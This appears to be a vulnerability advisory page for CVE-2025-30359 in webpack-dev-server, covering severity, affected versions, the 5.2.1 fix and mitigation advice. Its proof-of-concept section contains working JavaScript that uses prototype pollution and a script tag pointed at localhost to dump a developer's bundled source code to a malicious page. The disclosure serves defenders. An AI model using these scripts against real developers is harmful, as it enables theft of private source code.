CVE-2025-30359 is a medium-severity (CVSS 5.3) CWE-749 vulnerability in webpack-dev-server. A fix is available for webpack-dev-server — see the affected versions and patch details below.
webpack-dev-server users' source code may be stolen when they access a malicious web site
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-30359.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
webpack-dev-servernpmDescription
Summary
Source code may be stolen when you access a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/ - You can see the source code output in the document and the devtools console.
The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details> <summary>Old content</summary>Summary
Source code may be stolen when you use output.iife: false and access a malicious web site.
Details
When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/ - Open the devtools console.
- You can see the content of
src/index.jsand other scripts loaded.
The script in the POC site is:
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
Impact
This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | webpack-dev-server | all versions | 5.2.1npm install webpack-dev-server@5.2.1 |
Affected Products
webpack-dev-serverwebpack.jsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for webpack-dev-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update webpack-dev-server to 5.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-30359 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2025-30359 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2025-30359 in your dependencies?
Find it across npm, including transitive dependencies.